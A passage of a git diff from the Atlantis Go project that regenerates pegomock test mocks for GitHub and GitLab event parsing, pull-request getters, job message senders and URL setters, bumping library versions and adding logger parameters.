mock *MockEventParsing + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockEventParsing_ParseGithubRepo_OngoingVerification) GetCapturedArguments() *github.Repository { + ghRepo := c.GetAllCapturedArguments() + return ghRepo[len(ghRepo)-1] +} + +func (c *MockEventParsing_ParseGithubRepo_OngoingVerification) GetAllCapturedArguments() (_param0 []*github.Repository) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*github.Repository, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*github.Repository) + } + } + } + return +} + +func (verifier *VerifierMockEventParsing) ParseGitlabMergeRequest(mr *client_go.MergeRequest, baseRepo models.Repo) *MockEventParsing_ParseGitlabMergeRequest_OngoingVerification { + _params := []pegomock.Param{mr, baseRepo} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGitlabMergeRequest", _params, verifier.timeout) + return &MockEventParsing_ParseGitlabMergeRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockEventParsing_ParseGitlabMergeRequest_OngoingVerification struct { + mock *MockEventParsing + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockEventParsing_ParseGitlabMergeRequest_OngoingVerification) GetCapturedArguments() (*client_go.MergeRequest, models.Repo) { + mr, baseRepo := c.GetAllCapturedArguments() + return mr[len(mr)-1], baseRepo[len(baseRepo)-1] +} + +func (c *MockEventParsing_ParseGitlabMergeRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []*client_go.MergeRequest, _param1 []models.Repo) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*client_go.MergeRequest, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*client_go.MergeRequest) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + } + return +} + +func (verifier *VerifierMockEventParsing) ParseGitlabMergeRequestCommentEvent(event client_go.MergeCommentEvent) *MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification { + _params := []pegomock.Param{event} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGitlabMergeRequestCommentEvent", _params, verifier.timeout) + return &MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification struct { + mock *MockEventParsing + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification) GetCapturedArguments() client_go.MergeCommentEvent { + event := c.GetAllCapturedArguments() + return event[len(event)-1] +} + +func (c *MockEventParsing_ParseGitlabMergeRequestCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []client_go.MergeCommentEvent) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]client_go.MergeCommentEvent, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(client_go.MergeCommentEvent) + } + } + } + return +} + +func (verifier *VerifierMockEventParsing) ParseGitlabMergeRequestEvent(event client_go.MergeEvent) *MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification { + _params := []pegomock.Param{event} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGitlabMergeRequestEvent", _params, verifier.timeout) + return &MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification struct { + mock *MockEventParsing + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification) GetCapturedArguments() client_go.MergeEvent { + event := c.GetAllCapturedArguments() + return event[len(event)-1] +} + +func (c *MockEventParsing_ParseGitlabMergeRequestEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []client_go.MergeEvent) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]client_go.MergeEvent, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(client_go.MergeEvent) + } + } + } + return +} + +func (verifier *VerifierMockEventParsing) ParseGitlabMergeRequestUpdateEvent(event client_go.MergeEvent) *MockEventParsing_ParseGitlabMergeRequestUpdateEvent_OngoingVerification { + _params := []pegomock.Param{event} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGitlabMergeRequestUpdateEvent", _params, verifier.timeout) + return &MockEventParsing_ParseGitlabMergeRequestUpdateEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockEventParsing_ParseGitlabMergeRequestUpdateEvent_OngoingVerification struct { + mock *MockEventParsing + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockEventParsing_ParseGitlabMergeRequestUpdateEvent_OngoingVerification) GetCapturedArguments() client_go.MergeEvent { + event := c.GetAllCapturedArguments() + return event[len(event)-1] +} + +func (c *MockEventParsing_ParseGitlabMergeRequestUpdateEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []client_go.MergeEvent) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]client_go.MergeEvent, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(client_go.MergeEvent) + } } } return diff --git a/server/events/mocks/mock_github_pull_getter.go b/server/events/mocks/mock_github_pull_getter.go index 79de5558a9..8357cd1ded 100644 --- a/server/events/mocks/mock_github_pull_getter.go +++ b/server/events/mocks/mock_github_pull_getter.go @@ -4,12 +4,12 @@ package mocks import ( + github "github.com/google/go-github/v71/github" + pegomock "github.com/petergtz/pegomock/v4" + models "github.com/runatlantis/atlantis/server/events/models" + logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" - - github "github.com/google/go-github/v31/github" - pegomock "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" ) type MockGithubPullGetter struct { @@ -27,23 +27,23 @@ func NewMockGithubPullGetter(options ...pegomock.Option) *MockGithubPullGetter { func (mock *MockGithubPullGetter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockGithubPullGetter) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockGithubPullGetter) GetPullRequest(repo models.Repo, pullNum int) (*github.PullRequest, error) { +func (mock *MockGithubPullGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*github.PullRequest, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockGithubPullGetter().") } - params := []pegomock.Param{repo, pullNum} - result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullRequest", params, []reflect.Type{reflect.TypeOf((**github.PullRequest)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 *github.PullRequest - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(*github.PullRequest) + _params := []pegomock.Param{logger, repo, pullNum} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullRequest", _params, []reflect.Type{reflect.TypeOf((**github.PullRequest)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 *github.PullRequest + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(*github.PullRequest) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } func (mock *MockGithubPullGetter) VerifyWasCalledOnce() *VerifierMockGithubPullGetter { @@ -53,14 +53,14 @@ func (mock *MockGithubPullGetter) VerifyWasCalledOnce() *VerifierMockGithubPullG } } -func (mock *MockGithubPullGetter) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockGithubPullGetter { +func (mock *MockGithubPullGetter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockGithubPullGetter { return &VerifierMockGithubPullGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockGithubPullGetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGithubPullGetter { +func (mock *MockGithubPullGetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGithubPullGetter { return &VerifierMockGithubPullGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -68,7 +68,7 @@ func (mock *MockGithubPullGetter) VerifyWasCalledInOrder(invocationCountMatcher } } -func (mock *MockGithubPullGetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockGithubPullGetter { +func (mock *MockGithubPullGetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockGithubPullGetter { return &VerifierMockGithubPullGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -78,14 +78,14 @@ func (mock *MockGithubPullGetter) VerifyWasCalledEventually(invocationCountMatch type VerifierMockGithubPullGetter struct { mock *MockGithubPullGetter - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockGithubPullGetter) GetPullRequest(repo models.Repo, pullNum int) *MockGithubPullGetter_GetPullRequest_OngoingVerification { - params := []pegomock.Param{repo, pullNum} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullRequest", params, verifier.timeout) +func (verifier *VerifierMockGithubPullGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) *MockGithubPullGetter_GetPullRequest_OngoingVerification { + _params := []pegomock.Param{logger, repo, pullNum} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullRequest", _params, verifier.timeout) return &MockGithubPullGetter_GetPullRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -94,21 +94,31 @@ type MockGithubPullGetter_GetPullRequest_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockGithubPullGetter_GetPullRequest_OngoingVerification) GetCapturedArguments() (models.Repo, int) { - repo, pullNum := c.GetAllCapturedArguments() - return repo[len(repo)-1], pullNum[len(pullNum)-1] +func (c *MockGithubPullGetter_GetPullRequest_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int) { + logger, repo, pullNum := c.GetAllCapturedArguments() + return logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1] } -func (c *MockGithubPullGetter_GetPullRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []int) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockGithubPullGetter_GetPullRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } } - _param1 = make([]int, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(int) + if len(_params) > 2 { + _param2 = make([]int, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(int) + } } } return diff --git a/server/events/mocks/mock_gitlab_merge_request_getter.go b/server/events/mocks/mock_gitlab_merge_request_getter.go index 112b0948d3..2c03369b20 100644 --- a/server/events/mocks/mock_gitlab_merge_request_getter.go +++ b/server/events/mocks/mock_gitlab_merge_request_getter.go @@ -4,8 +4,9 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" - go_gitlab "github.com/xanzy/go-gitlab" + pegomock "github.com/petergtz/pegomock/v4" + logging "github.com/runatlantis/atlantis/server/logging" + client_go "gitlab.com/gitlab-org/api/client-go" "reflect" "time" ) @@ -25,23 +26,23 @@ func NewMockGitlabMergeRequestGetter(options ...pegomock.Option) *MockGitlabMerg func (mock *MockGitlabMergeRequestGetter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockGitlabMergeRequestGetter) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockGitlabMergeRequestGetter) GetMergeRequest(repoFullName string, pullNum int) (*go_gitlab.MergeRequest, error) { +func (mock *MockGitlabMergeRequestGetter) GetMergeRequest(logger logging.SimpleLogging, repoFullName string, pullNum int) (*client_go.MergeRequest, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockGitlabMergeRequestGetter().") } - params := []pegomock.Param{repoFullName, pullNum} - result := pegomock.GetGenericMockFrom(mock).Invoke("GetMergeRequest", params, []reflect.Type{reflect.TypeOf((**go_gitlab.MergeRequest)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 *go_gitlab.MergeRequest - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(*go_gitlab.MergeRequest) + _params := []pegomock.Param{logger, repoFullName, pullNum} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetMergeRequest", _params, []reflect.Type{reflect.TypeOf((**client_go.MergeRequest)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 *client_go.MergeRequest + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(*client_go.MergeRequest) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } func (mock *MockGitlabMergeRequestGetter) VerifyWasCalledOnce() *VerifierMockGitlabMergeRequestGetter { @@ -51,14 +52,14 @@ func (mock *MockGitlabMergeRequestGetter) VerifyWasCalledOnce() *VerifierMockGit } } -func (mock *MockGitlabMergeRequestGetter) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockGitlabMergeRequestGetter { +func (mock *MockGitlabMergeRequestGetter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockGitlabMergeRequestGetter { return &VerifierMockGitlabMergeRequestGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockGitlabMergeRequestGetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGitlabMergeRequestGetter { +func (mock *MockGitlabMergeRequestGetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGitlabMergeRequestGetter { return &VerifierMockGitlabMergeRequestGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -66,7 +67,7 @@ func (mock *MockGitlabMergeRequestGetter) VerifyWasCalledInOrder(invocationCount } } -func (mock *MockGitlabMergeRequestGetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockGitlabMergeRequestGetter { +func (mock *MockGitlabMergeRequestGetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockGitlabMergeRequestGetter { return &VerifierMockGitlabMergeRequestGetter{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -76,14 +77,14 @@ func (mock *MockGitlabMergeRequestGetter) VerifyWasCalledEventually(invocationCo type VerifierMockGitlabMergeRequestGetter struct { mock *MockGitlabMergeRequestGetter - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockGitlabMergeRequestGetter) GetMergeRequest(repoFullName string, pullNum int) *MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification { - params := []pegomock.Param{repoFullName, pullNum} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetMergeRequest", params, verifier.timeout) +func (verifier *VerifierMockGitlabMergeRequestGetter) GetMergeRequest(logger logging.SimpleLogging, repoFullName string, pullNum int) *MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification { + _params := []pegomock.Param{logger, repoFullName, pullNum} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetMergeRequest", _params, verifier.timeout) return &MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -92,21 +93,31 @@ type MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification) GetCapturedArguments() (string, int) { - repoFullName, pullNum := c.GetAllCapturedArguments() - return repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1] +func (c *MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string, int) { + logger, repoFullName, pullNum := c.GetAllCapturedArguments() + return logger[len(logger)-1], repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1] } -func (c *MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []int) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) +func (c *MockGitlabMergeRequestGetter_GetMergeRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string, _param2 []int) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } } - _param1 = make([]int, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(int) + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([]int, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(int) + } } } return diff --git a/server/events/mocks/mock_job_message_sender.go b/server/events/mocks/mock_job_message_sender.go new file mode 100644 index 0000000000..76f7d59a75 --- /dev/null +++ b/server/events/mocks/mock_job_message_sender.go @@ -0,0 +1,112 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/events (interfaces: JobMessageSender) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + command "github.com/runatlantis/atlantis/server/events/command" + "reflect" + "time" +) + +type MockJobMessageSender struct { + fail func(message string, callerSkip ...int) +} + +func NewMockJobMessageSender(options ...pegomock.Option) *MockJobMessageSender { + mock := &MockJobMessageSender{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockJobMessageSender) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockJobMessageSender) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockJobMessageSender) Send(ctx command.ProjectContext, msg string, operationComplete bool) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockJobMessageSender().") + } + _params := []pegomock.Param{ctx, msg, operationComplete} + pegomock.GetGenericMockFrom(mock).Invoke("Send", _params, []reflect.Type{}) +} + +func (mock *MockJobMessageSender) VerifyWasCalledOnce() *VerifierMockJobMessageSender { + return &VerifierMockJobMessageSender{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockJobMessageSender) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockJobMessageSender { + return &VerifierMockJobMessageSender{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockJobMessageSender) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockJobMessageSender { + return &VerifierMockJobMessageSender{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockJobMessageSender) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockJobMessageSender { + return &VerifierMockJobMessageSender{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockJobMessageSender struct { + mock *MockJobMessageSender + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockJobMessageSender) Send(ctx command.ProjectContext, msg string, operationComplete bool) *MockJobMessageSender_Send_OngoingVerification { + _params := []pegomock.Param{ctx, msg, operationComplete} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Send", _params, verifier.timeout) + return &MockJobMessageSender_Send_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockJobMessageSender_Send_OngoingVerification struct { + mock *MockJobMessageSender + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockJobMessageSender_Send_OngoingVerification) GetCapturedArguments() (command.ProjectContext, string, bool) { + ctx, msg, operationComplete := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], msg[len(msg)-1], operationComplete[len(operationComplete)-1] +} + +func (c *MockJobMessageSender_Send_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []string, _param2 []bool) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([]bool, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(bool) + } + } + } + return +} diff --git a/server/events/mocks/mock_job_url_setter.go b/server/events/mocks/mock_job_url_setter.go new file mode 100644 index 0000000000..6455c4a201 --- /dev/null +++ b/server/events/mocks/mock_job_url_setter.go @@ -0,0 +1,126 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/events (interfaces: JobURLSetter) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + command "github.com/runatlantis/atlantis/server/events/command" + models "github.com/runatlantis/atlantis/server/events/models" + "reflect" + "time" +) + +type MockJobURLSetter struct { + fail func(message string, callerSkip ...int) +} + +func NewMockJobURLSetter(options ...pegomock.Option) *MockJobURLSetter { + mock := &MockJobURLSetter{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockJobURLSetter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockJobURLSetter) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockJobURLSetter) SetJobURLWithStatus(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, res *command.ProjectResult) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockJobURLSetter().") + } + _params := []pegomock.Param{ctx, cmdName, status, res} + _result := pegomock.GetGenericMockFrom(mock).Invoke("SetJobURLWithStatus", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } + } + return _ret0 +} + +func (mock *MockJobURLSetter) VerifyWasCalledOnce() *VerifierMockJobURLSetter { + return &VerifierMockJobURLSetter{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockJobURLSetter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockJobURLSetter { + return &VerifierMockJobURLSetter{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockJobURLSetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockJobURLSetter { + return &VerifierMockJobURLSetter{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockJobURLSetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockJobURLSetter { + return &VerifierMockJobURLSetter{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockJobURLSetter struct { + mock *MockJobURLSetter + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockJobURLSetter) SetJobURLWithStatus(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, res *command.ProjectResult) *MockJobURLSetter_SetJobURLWithStatus_OngoingVerification { + _params := []pegomock.Param{ctx, cmdName, status, res} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "SetJobURLWithStatus", _params, verifier.timeout) + return &MockJobURLSetter_SetJobURLWithStatus_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockJobURLSetter_SetJobURLWithStatus_OngoingVerification struct { + mock *MockJobURLSetter + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockJobURLSetter_SetJobURLWithStatus_OngoingVerification) GetCapturedArguments() (command.ProjectContext, command.Name, models.CommitStatus, *command.ProjectResult) { + ctx, cmdName, status, res := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], cmdName[len(cmdName)-1], status[len(status)-1], res[len(res)-1] +} + +func (c *MockJobURLSetter_SetJobURLWithStatus_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []command.Name, _param2 []models.CommitStatus, _param3 []*command.ProjectResult) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } + } + if len(_params) > 1 { + _param1 = make([]command.Name, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(command.Name) + } + } + if len(_params) > 2 { + _param2 = make([]models.CommitStatus, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.CommitStatus) + } + } + if len(_params) > 3 { + _param3 = make([]*command.ProjectResult, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(*command.ProjectResult) + } + } + } + return +} diff --git a/server/events/mocks/mock_lock_url_generator.go b/server/events/mocks/mock_lock_url_generator.go index 8f071488cb..6e581d65ea 100644 --- a/server/events/mocks/mock_lock_url_generator.go +++ b/server/events/mocks/mock_lock_url_generator.go @@ -4,7 +4,7 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" "reflect" "time" ) @@ -28,15 +28,15 @@ func (mock *MockLockURLGenerator) GenerateLockURL(lockID string) string { if mock == nil { panic("mock must not be nil. Use myMock := NewMockLockURLGenerator().") } - params := []pegomock.Param{lockID} - result := pegomock.GetGenericMockFrom(mock).Invoke("GenerateLockURL", params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()}) - var ret0 string - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(string) + _params := []pegomock.Param{lockID} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GenerateLockURL", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()}) + var _ret0 string + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) } } - return ret0 + return _ret0 } func (mock *MockLockURLGenerator) VerifyWasCalledOnce() *VerifierMockLockURLGenerator { @@ -46,14 +46,14 @@ func (mock *MockLockURLGenerator) VerifyWasCalledOnce() *VerifierMockLockURLGene } } -func (mock *MockLockURLGenerator) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockLockURLGenerator { +func (mock *MockLockURLGenerator) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockLockURLGenerator { return &VerifierMockLockURLGenerator{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockLockURLGenerator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockLockURLGenerator { +func (mock *MockLockURLGenerator) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockLockURLGenerator { return &VerifierMockLockURLGenerator{ mock: mock, 